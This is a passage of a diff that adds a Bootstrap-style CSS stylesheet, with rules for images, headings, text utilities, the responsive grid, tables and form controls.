margin: 0; +} +img { + vertical-align: middle; +} +.img-responsive, +.thumbnail > img, +.thumbnail a > img, +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + max-width: 100%; + height: auto; +} +.img-rounded { + border-radius: 6px; +} +.img-thumbnail { + display: inline-block; + max-width: 100%; + height: auto; + padding: 4px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: all .2s ease-in-out; + -o-transition: all .2s ease-in-out; + transition: all .2s ease-in-out; +} +.img-circle { + border-radius: 50%; +} +hr { + margin-top: 20px; + margin-bottom: 20px; + border: 0; + border-top: 1px solid #eee; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} +[role="button"] { + cursor: pointer; +} +h1, +h2, +h3, +h4, +h5, +h6, +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + font-family: inherit; + font-weight: 500; + line-height: 1.1; + color: inherit; +} +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small, +.h1 small, +.h2 small, +.h3 small, +.h4 small, +.h5 small, +.h6 small, +h1 .small, +h2 .small, +h3 .small, +h4 .small, +h5 .small, +h6 .small, +.h1 .small, +.h2 .small, +.h3 .small, +.h4 .small, +.h5 .small, +.h6 .small { + font-weight: normal; + line-height: 1; + color: #777; +} +h1, +.h1, +h2, +.h2, +h3, +.h3 { + margin-top: 20px; + margin-bottom: 10px; +} +h1 small, +.h1 small, +h2 small, +.h2 small, +h3 small, +.h3 small, +h1 .small, +.h1 .small, +h2 .small, +.h2 .small, +h3 .small, +.h3 .small { + font-size: 65%; +} +h4, +.h4, +h5, +.h5, +h6, +.h6 { + margin-top: 10px; + margin-bottom: 10px; +} +h4 small, +.h4 small, +h5 small, +.h5 small, +h6 small, +.h6 small, +h4 .small, +.h4 .small, +h5 .small, +.h5 .small, +h6 .small, +.h6 .small { + font-size: 75%; +} +h1, +.h1 { + font-size: 36px; +} +h2, +.h2 { + font-size: 30px; +} +h3, +.h3 { + font-size: 24px; +} +h4, +.h4 { + font-size: 18px; +} +h5, +.h5 { + font-size: 14px; +} +h6, +.h6 { + font-size: 12px; +} +p { + margin: 0 0 10px; +} +.lead { + margin-bottom: 20px; + font-size: 16px; + font-weight: 300; + line-height: 1.4; +} +@media (min-width: 768px) { + .lead { + font-size: 21px; + } +} +small, +.small { + font-size: 85%; +} +mark, +.mark { + padding: .2em; + background-color: #fcf8e3; +} +.text-left { + text-align: left; +} +.text-right { + text-align: right; +} +.text-center { + text-align: center; +} +.text-justify { + text-align: justify; +} +.text-nowrap { + white-space: nowrap; +} +.text-lowercase { + text-transform: lowercase; +} +.text-uppercase { + text-transform: uppercase; +} +.text-capitalize { + text-transform: capitalize; +} +.text-muted { + color: #777; +} +.text-primary { + color: #337ab7; +} +a.text-primary:hover, +a.text-primary:focus { + color: #286090; +} +.text-success { + color: #3c763d; +} +a.text-success:hover, +a.text-success:focus { + color: #2b542c; +} +.text-info { + color: #31708f; +} +a.text-info:hover, +a.text-info:focus { + color: #245269; +} +.text-warning { + color: #8a6d3b; +} +a.text-warning:hover, +a.text-warning:focus { + color: #66512c; +} +.text-danger { + color: #a94442; +} +a.text-danger:hover, +a.text-danger:focus { + color: #843534; +} +.bg-primary { + color: #fff; + background-color: #337ab7; +} +a.bg-primary:hover, +a.bg-primary:focus { + background-color: #286090; +} +.bg-success { + background-color: #dff0d8; +} +a.bg-success:hover, +a.bg-success:focus { + background-color: #c1e2b3; +} +.bg-info { + background-color: #d9edf7; +} +a.bg-info:hover, +a.bg-info:focus { + background-color: #afd9ee; +} +.bg-warning { + background-color: #fcf8e3; +} +a.bg-warning:hover, +a.bg-warning:focus { + background-color: #f7ecb5; +} +.bg-danger { + background-color: #f2dede; +} +a.bg-danger:hover, +a.bg-danger:focus { + background-color: #e4b9b9; +} +.page-header { + padding-bottom: 9px; + margin: 40px 0 20px; + border-bottom: 1px solid #eee; +} +ul, +ol { + margin-top: 0; + margin-bottom: 10px; +} +ul ul, +ol ul, +ul ol, +ol ol { + margin-bottom: 0; +} +.list-unstyled { + padding-left: 0; + list-style: none; +} +.list-inline { + padding-left: 0; + margin-left: -5px; + list-style: none; +} +.list-inline > li { + display: inline-block; + padding-right: 5px; + padding-left: 5px; +} +dl { + margin-top: 0; + margin-bottom: 20px; +} +dt, +dd { + line-height: 1.42857143; +} +dt { + font-weight: bold; +} +dd { + margin-left: 0; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: left; + width: 160px; + overflow: hidden; + clear: left; + text-align: right; + text-overflow: ellipsis; + white-space: nowrap; + } + .dl-horizontal dd { + margin-left: 180px; + } +} +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #777; +} +.initialism { + font-size: 90%; + text-transform: uppercase; +} +blockquote { + padding: 10px 20px; + margin: 0 0 20px; + font-size: 17.5px; + border-left: 5px solid #eee; +} +blockquote p:last-child, +blockquote ul:last-child, +blockquote ol:last-child { + margin-bottom: 0; +} +blockquote footer, +blockquote small, +blockquote .small { + display: block; + font-size: 80%; + line-height: 1.42857143; + color: #777; +} +blockquote footer:before, +blockquote small:before, +blockquote .small:before { + content: '\2014 \00A0'; +} +.blockquote-reverse, +blockquote.pull-right { + padding-right: 15px; + padding-left: 0; + text-align: right; + border-right: 5px solid #eee; + border-left: 0; +} +.blockquote-reverse footer:before, +blockquote.pull-right footer:before, +.blockquote-reverse small:before, +blockquote.pull-right small:before, +.blockquote-reverse .small:before, +blockquote.pull-right .small:before { + content: ''; +} +.blockquote-reverse footer:after, +blockquote.pull-right footer:after, +.blockquote-reverse small:after, +blockquote.pull-right small:after, +.blockquote-reverse .small:after, +blockquote.pull-right .small:after { + content: '\00A0 \2014'; +} +address { + margin-bottom: 20px; + font-style: normal; + line-height: 1.42857143; +} +code, +kbd, +pre, +samp { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code { + padding: 2px 4px; + font-size: 90%; + color: #c7254e; + background-color: #f9f2f4; + border-radius: 4px; +} +kbd { + padding: 2px 4px; + font-size: 90%; + color: #fff; + background-color: #333; + border-radius: 3px; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); +} +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: bold; + -webkit-box-shadow: none; + box-shadow: none; +} +pre { + display: block; + padding: 9.5px; + margin: 0 0 10px; + font-size: 13px; + line-height: 1.42857143; + color: #333; + word-break: break-all; + word-wrap: break-word; + background-color: #f5f5f5; + border: 1px solid #ccc; + border-radius: 4px; +} +pre code { + padding: 0; + font-size: inherit; + color: inherit; + white-space: pre-wrap; + background-color: transparent; + border-radius: 0; +} +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} +.container { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +@media (min-width: 768px) { + .container { + width: 750px; + } +} +@media (min-width: 992px) { + .container { + width: 970px; + } +} +@media (min-width: 1200px) { + .container { + width: 1170px; + } +} +.container-fluid { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +.row { + margin-right: -15px; + margin-left: -15px; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: left; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + right: 100%; +} +.col-xs-pull-11 { + right: 91.66666667%; +} +.col-xs-pull-10 { + right: 83.33333333%; +} +.col-xs-pull-9 { + right: 75%; +} +.col-xs-pull-8 { + right: 66.66666667%; +} +.col-xs-pull-7 { + right: 58.33333333%; +} +.col-xs-pull-6 { + right: 50%; +} +.col-xs-pull-5 { + right: 41.66666667%; +} +.col-xs-pull-4 { + right: 33.33333333%; +} +.col-xs-pull-3 { + right: 25%; +} +.col-xs-pull-2 { + right: 16.66666667%; +} +.col-xs-pull-1 { + right: 8.33333333%; +} +.col-xs-pull-0 { + right: auto; +} +.col-xs-push-12 { + left: 100%; +} +.col-xs-push-11 { + left: 91.66666667%; +} +.col-xs-push-10 { + left: 83.33333333%; +} +.col-xs-push-9 { + left: 75%; +} +.col-xs-push-8 { + left: 66.66666667%; +} +.col-xs-push-7 { + left: 58.33333333%; +} +.col-xs-push-6 { + left: 50%; +} +.col-xs-push-5 { + left: 41.66666667%; +} +.col-xs-push-4 { + left: 33.33333333%; +} +.col-xs-push-3 { + left: 25%; +} +.col-xs-push-2 { + left: 16.66666667%; +} +.col-xs-push-1 { + left: 8.33333333%; +} +.col-xs-push-0 { + left: auto; +} +.col-xs-offset-12 { + margin-left: 100%; +} +.col-xs-offset-11 { + margin-left: 91.66666667%; +} +.col-xs-offset-10 { + margin-left: 83.33333333%; +} +.col-xs-offset-9 { + margin-left: 75%; +} +.col-xs-offset-8 { + margin-left: 66.66666667%; +} +.col-xs-offset-7 { + margin-left: 58.33333333%; +} +.col-xs-offset-6 { + margin-left: 50%; +} +.col-xs-offset-5 { + margin-left: 41.66666667%; +} +.col-xs-offset-4 { + margin-left: 33.33333333%; +} +.col-xs-offset-3 { + margin-left: 25%; +} +.col-xs-offset-2 { + margin-left: 16.66666667%; +} +.col-xs-offset-1 { + margin-left: 8.33333333%; +} +.col-xs-offset-0 { + margin-left: 0; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: left; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + right: 100%; + } + .col-sm-pull-11 { + right: 91.66666667%; + } + .col-sm-pull-10 { + right: 83.33333333%; + } + .col-sm-pull-9 { + right: 75%; + } + .col-sm-pull-8 { + right: 66.66666667%; + } + .col-sm-pull-7 { + right: 58.33333333%; + } + .col-sm-pull-6 { + right: 50%; + } + .col-sm-pull-5 { + right: 41.66666667%; + } + .col-sm-pull-4 { + right: 33.33333333%; + } + .col-sm-pull-3 { + right: 25%; + } + .col-sm-pull-2 { + right: 16.66666667%; + } + .col-sm-pull-1 { + right: 8.33333333%; + } + .col-sm-pull-0 { + right: auto; + } + .col-sm-push-12 { + left: 100%; + } + .col-sm-push-11 { + left: 91.66666667%; + } + .col-sm-push-10 { + left: 83.33333333%; + } + .col-sm-push-9 { + left: 75%; + } + .col-sm-push-8 { + left: 66.66666667%; + } + .col-sm-push-7 { + left: 58.33333333%; + } + .col-sm-push-6 { + left: 50%; + } + .col-sm-push-5 { + left: 41.66666667%; + } + .col-sm-push-4 { + left: 33.33333333%; + } + .col-sm-push-3 { + left: 25%; + } + .col-sm-push-2 { + left: 16.66666667%; + } + .col-sm-push-1 { + left: 8.33333333%; + } + .col-sm-push-0 { + left: auto; + } + .col-sm-offset-12 { + margin-left: 100%; + } + .col-sm-offset-11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9 { + margin-left: 75%; + } + .col-sm-offset-8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6 { + margin-left: 50%; + } + .col-sm-offset-5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3 { + margin-left: 25%; + } + .col-sm-offset-2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0 { + margin-left: 0; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: left; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { + width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + right: 100%; + } + .col-md-pull-11 { + right: 91.66666667%; + } + .col-md-pull-10 { + right: 83.33333333%; + } + .col-md-pull-9 { + right: 75%; + } + .col-md-pull-8 { + right: 66.66666667%; + } + .col-md-pull-7 { + right: 58.33333333%; + } + .col-md-pull-6 { + right: 50%; + } + .col-md-pull-5 { + right: 41.66666667%; + } + .col-md-pull-4 { + right: 33.33333333%; + } + .col-md-pull-3 { + right: 25%; + } + .col-md-pull-2 { + right: 16.66666667%; + } + .col-md-pull-1 { + right: 8.33333333%; + } + .col-md-pull-0 { + right: auto; + } + .col-md-push-12 { + left: 100%; + } + .col-md-push-11 { + left: 91.66666667%; + } + .col-md-push-10 { + left: 83.33333333%; + } + .col-md-push-9 { + left: 75%; + } + .col-md-push-8 { + left: 66.66666667%; + } + .col-md-push-7 { + left: 58.33333333%; + } + .col-md-push-6 { + left: 50%; + } + .col-md-push-5 { + left: 41.66666667%; + } + .col-md-push-4 { + left: 33.33333333%; + } + .col-md-push-3 { + left: 25%; + } + .col-md-push-2 { + left: 16.66666667%; + } + .col-md-push-1 { + left: 8.33333333%; + } + .col-md-push-0 { + left: auto; + } + .col-md-offset-12 { + margin-left: 100%; + } + .col-md-offset-11 { + margin-left: 91.66666667%; + } + .col-md-offset-10 { + margin-left: 83.33333333%; + } + .col-md-offset-9 { + margin-left: 75%; + } + .col-md-offset-8 { + margin-left: 66.66666667%; + } + .col-md-offset-7 { + margin-left: 58.33333333%; + } + .col-md-offset-6 { + margin-left: 50%; + } + .col-md-offset-5 { + margin-left: 41.66666667%; + } + .col-md-offset-4 { + margin-left: 33.33333333%; + } + .col-md-offset-3 { + margin-left: 25%; + } + .col-md-offset-2 { + margin-left: 16.66666667%; + } + .col-md-offset-1 { + margin-left: 8.33333333%; + } + .col-md-offset-0 { + margin-left: 0; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: left; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + right: 100%; + } + .col-lg-pull-11 { + right: 91.66666667%; + } + .col-lg-pull-10 { + right: 83.33333333%; + } + .col-lg-pull-9 { + right: 75%; + } + .col-lg-pull-8 { + right: 66.66666667%; + } + .col-lg-pull-7 { + right: 58.33333333%; + } + .col-lg-pull-6 { + right: 50%; + } + .col-lg-pull-5 { + right: 41.66666667%; + } + .col-lg-pull-4 { + right: 33.33333333%; + } + .col-lg-pull-3 { + right: 25%; + } + .col-lg-pull-2 { + right: 16.66666667%; + } + .col-lg-pull-1 { + right: 8.33333333%; + } + .col-lg-pull-0 { + right: auto; + } + .col-lg-push-12 { + left: 100%; + } + .col-lg-push-11 { + left: 91.66666667%; + } + .col-lg-push-10 { + left: 83.33333333%; + } + .col-lg-push-9 { + left: 75%; + } + .col-lg-push-8 { + left: 66.66666667%; + } + .col-lg-push-7 { + left: 58.33333333%; + } + .col-lg-push-6 { + left: 50%; + } + .col-lg-push-5 { + left: 41.66666667%; + } + .col-lg-push-4 { + left: 33.33333333%; + } + .col-lg-push-3 { + left: 25%; + } + .col-lg-push-2 { + left: 16.66666667%; + } + .col-lg-push-1 { + left: 8.33333333%; + } + .col-lg-push-0 { + left: auto; + } + .col-lg-offset-12 { + margin-left: 100%; + } + .col-lg-offset-11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9 { + margin-left: 75%; + } + .col-lg-offset-8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6 { + margin-left: 50%; + } + .col-lg-offset-5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3 { + margin-left: 25%; + } + .col-lg-offset-2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0 { + margin-left: 0; + } +} +table { + background-color: transparent; +} +caption { + padding-top: 8px; + padding-bottom: 8px; + color: #777; + text-align: left; +} +th { + text-align: left; +} +.table { + width: 100%; + max-width: 100%; + margin-bottom: 20px; +} +.table > thead > tr > th, +.table > tbody > tr > th, +.table > tfoot > tr > th, +.table > thead > tr > td, +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px; + line-height: 1.42857143; + vertical-align: top; + border-top: 1px solid #ddd; +} +.table > thead > tr > th { + vertical-align: bottom; + border-bottom: 2px solid #ddd; +} +.table > caption + thead > tr:first-child > th, +.table > colgroup + thead > tr:first-child > th, +.table > thead:first-child > tr:first-child > th, +.table > caption + thead > tr:first-child > td, +.table > colgroup + thead > tr:first-child > td, +.table > thead:first-child > tr:first-child > td { + border-top: 0; +} +.table > tbody + tbody { + border-top: 2px solid #ddd; +} +.table .table { + background-color: #fff; +} +.table-condensed > thead > tr > th, +.table-condensed > tbody > tr > th, +.table-condensed > tfoot > tr > th, +.table-condensed > thead > tr > td, +.table-condensed > tbody > tr > td, +.table-condensed > tfoot > tr > td { + padding: 5px; +} +.table-bordered { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > tbody > tr > th, +.table-bordered > tfoot > tr > th, +.table-bordered > thead > tr > td, +.table-bordered > tbody > tr > td, +.table-bordered > tfoot > tr > td { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > thead > tr > td { + border-bottom-width: 2px; +} +.table-striped > tbody > tr:nth-of-type(odd) { + background-color: #f9f9f9; +} +.table-hover > tbody > tr:hover { + background-color: #f5f5f5; +} +table col[class*="col-"] { + position: static; + display: table-column; + float: none; +} +table td[class*="col-"], +table th[class*="col-"] { + position: static; + display: table-cell; + float: none; +} +.table > thead > tr > td.active, +.table > tbody > tr > td.active, +.table > tfoot > tr > td.active, +.table > thead > tr > th.active, +.table > tbody > tr > th.active, +.table > tfoot > tr > th.active, +.table > thead > tr.active > td, +.table > tbody > tr.active > td, +.table > tfoot > tr.active > td, +.table > thead > tr.active > th, +.table > tbody > tr.active > th, +.table > tfoot > tr.active > th { + background-color: #f5f5f5; +} +.table-hover > tbody > tr > td.active:hover, +.table-hover > tbody > tr > th.active:hover, +.table-hover > tbody > tr.active:hover > td, +.table-hover > tbody > tr:hover > .active, +.table-hover > tbody > tr.active:hover > th { + background-color: #e8e8e8; +} +.table > thead > tr > td.success, +.table > tbody > tr > td.success, +.table > tfoot > tr > td.success, +.table > thead > tr > th.success, +.table > tbody > tr > th.success, +.table > tfoot > tr > th.success, +.table > thead > tr.success > td, +.table > tbody > tr.success > td, +.table > tfoot > tr.success > td, +.table > thead > tr.success > th, +.table > tbody > tr.success > th, +.table > tfoot > tr.success > th { + background-color: #dff0d8; +} +.table-hover > tbody > tr > td.success:hover, +.table-hover > tbody > tr > th.success:hover, +.table-hover > tbody > tr.success:hover > td, +.table-hover > tbody > tr:hover > .success, +.table-hover > tbody > tr.success:hover > th { + background-color: #d0e9c6; +} +.table > thead > tr > td.info, +.table > tbody > tr > td.info, +.table > tfoot > tr > td.info, +.table > thead > tr > th.info, +.table > tbody > tr > th.info, +.table > tfoot > tr > th.info, +.table > thead > tr.info > td, +.table > tbody > tr.info > td, +.table > tfoot > tr.info > td, +.table > thead > tr.info > th, +.table > tbody > tr.info > th, +.table > tfoot > tr.info > th { + background-color: #d9edf7; +} +.table-hover > tbody > tr > td.info:hover, +.table-hover > tbody > tr > th.info:hover, +.table-hover > tbody > tr.info:hover > td, +.table-hover > tbody > tr:hover > .info, +.table-hover > tbody > tr.info:hover > th { + background-color: #c4e3f3; +} +.table > thead > tr > td.warning, +.table > tbody > tr > td.warning, +.table > tfoot > tr > td.warning, +.table > thead > tr > th.warning, +.table > tbody > tr > th.warning, +.table > tfoot > tr > th.warning, +.table > thead > tr.warning > td, +.table > tbody > tr.warning > td, +.table > tfoot > tr.warning > td, +.table > thead > tr.warning > th, +.table > tbody > tr.warning > th, +.table > tfoot > tr.warning > th { + background-color: #fcf8e3; +} +.table-hover > tbody > tr > td.warning:hover, +.table-hover > tbody > tr > th.warning:hover, +.table-hover > tbody > tr.warning:hover > td, +.table-hover > tbody > tr:hover > .warning, +.table-hover > tbody > tr.warning:hover > th { + background-color: #faf2cc; +} +.table > thead > tr > td.danger, +.table > tbody > tr > td.danger, +.table > tfoot > tr > td.danger, +.table > thead > tr > th.danger, +.table > tbody > tr > th.danger, +.table > tfoot > tr > th.danger, +.table > thead > tr.danger > td, +.table > tbody > tr.danger > td, +.table > tfoot > tr.danger > td, +.table > thead > tr.danger > th, +.table > tbody > tr.danger > th, +.table > tfoot > tr.danger > th { + background-color: #f2dede; +} +.table-hover > tbody > tr > td.danger:hover, +.table-hover > tbody > tr > th.danger:hover, +.table-hover > tbody > tr.danger:hover > td, +.table-hover > tbody > tr:hover > .danger, +.table-hover > tbody > tr.danger:hover > th { + background-color: #ebcccc; +} +.table-responsive { + min-height: .01%; + overflow-x: auto; +} +@media screen and (max-width: 767px) { + .table-responsive { + width: 100%; + margin-bottom: 15px; + overflow-y: hidden; + -ms-overflow-style: -ms-autohiding-scrollbar; + border: 1px solid #ddd; + } + .table-responsive > .table { + margin-bottom: 0; + } + .table-responsive > .table > thead > tr > th, + .table-responsive > .table > tbody > tr > th, + .table-responsive > .table > tfoot > tr > th, + .table-responsive > .table > thead > tr > td, + .table-responsive > .table > tbody > tr > td, + .table-responsive > .table > tfoot > tr > td { + white-space: nowrap; + } + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot > tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > .table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; + } + .table-responsive > .table-bordered > tbody > tr:last-child > th, + .table-responsive > .table-bordered > tfoot > tr:last-child > th, + .table-responsive > .table-bordered > tbody > tr:last-child > td, + .table-responsive > .table-bordered > tfoot > tr:last-child > td { + border-bottom: 0; + } +} +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 20px; + font-size: 21px; + line-height: inherit; + color: #333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} +label { + display: inline-block; + max-width: 100%; + margin-bottom: 5px; + font-weight: bold; +} +input[type="search"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + line-height: normal; +} +input[type="file"] { + display: block; +} +input[type="range"] { + display: block; + width: 100%; +} +select[multiple], +select[size] { + height: auto; +} +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +output { + display: block; + padding-top: 7px; + font-size: 14px; + line-height: 1.42857143; + color: #555; +} +.form-control { + display: block; + width: 100%; + height: 34px; + padding: 6px 12px; + font-size: 14px; + line-height: 1.42857143; + color: #555; + background-color: #fff; + background-image: none; + border: 1px solid #ccc; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; + -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; + transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; +} +.form-control:focus { + border-color: #66afe9; + outline: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); + box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); +} +.form-control::-moz-placeholder { + color: #999; + opacity: 1; +} +.form-control:-ms-input-placeholder { + color: #999; +} +.form-control::-webkit-input-placeholder { + color: #999; +} +.form-control::-ms-expand { + background-color: transparent; + border: 0; +} +.form-control[disabled], +.form-control[readonly], +fieldset[disabled] .form-control { + background-color: #eee; + opacity: 1; +} +.form-control[disabled], +fieldset[disabled] .form-control { + cursor: not-allowed; +} +textarea.form-control { + height: auto; +} +input[type="search"] { + -webkit-appearance: none; +} +@media screen and (-webkit-min-device-pixel-ratio: 0) { + input[type="date"].form-control, + input[type="time"].form-control, + input[type="datetime-local"].form-control, + input[type="month"].form-control { + line-height: 34px; + } + input[type="date"].input-sm, + input[type="time"].input-sm, + input[type="datetime-local"].input-sm, + input[type="month"].input-sm, + .input-group-sm input[type="date"], + .input-group-sm input[type="time"], + .input-group-sm input[type="datetime-local"], + .input-group-sm input[type="month"] { + line-height: 30px; + } + input[type="date"].input-lg, + input[type="time"].input-lg, + input[type="datetime-local"].input-lg, + input[type="month"].input-lg, + .input-group-lg input[type="date"], + .input-group-lg input[type="time"], + .input-group-lg input[type="datetime-local"], + .input-group-lg input[type="month"] { + line-height: 46px; + } +} +.form-group { + margin-bottom: 15px; +} +.radio, +.checkbox { + position: relative; + display: block; + margin-top: 10px; + margin-bottom: 10px; +} +.radio label, +.checkbox label { + min-height: 20px; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + cursor: pointer; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + position: absolute; + margin-top: 4px \9; + margin-left: -20px; +} +.radio + .radio, +.checkbox + .checkbox { + margin-top: -5px; +} +.radio-inline, +.checkbox-inline { + position: relative; + display: inline-block; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + vertical-align: middle; + cursor: pointer; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-top: 0; + margin-left: 10px; +} +input[type="radio"][disabled], +input[type="checkbox"][disabled], +input[type="radio"].disabled, +input[type="checkbox"].disabled, +fieldset[disabled] input[type="radio"], +fieldset[disabled] input[type="checkbox"] { + cursor: not-allowed; +} +.radio-inline.disabled, +.checkbox-inline.disabled, +fieldset[disabled] .radio-inline, +fieldset[disabled] .checkbox-inline { + cursor: not-allowed; +} +.radio.disabled label, +.checkbox.disabled label, +fieldset[disabled] .radio label, +fieldset[disabled] .checkbox label { + cursor: not-allowed; +} +.form-control-static { + min-height: 34px; + padding-top: 7px; + padding-bottom: 7px; + margin-bottom: 0; +} +.form-control-static.input-lg, +.form-control-static.input-sm { + padding-right: 0; + padding-left: 0; 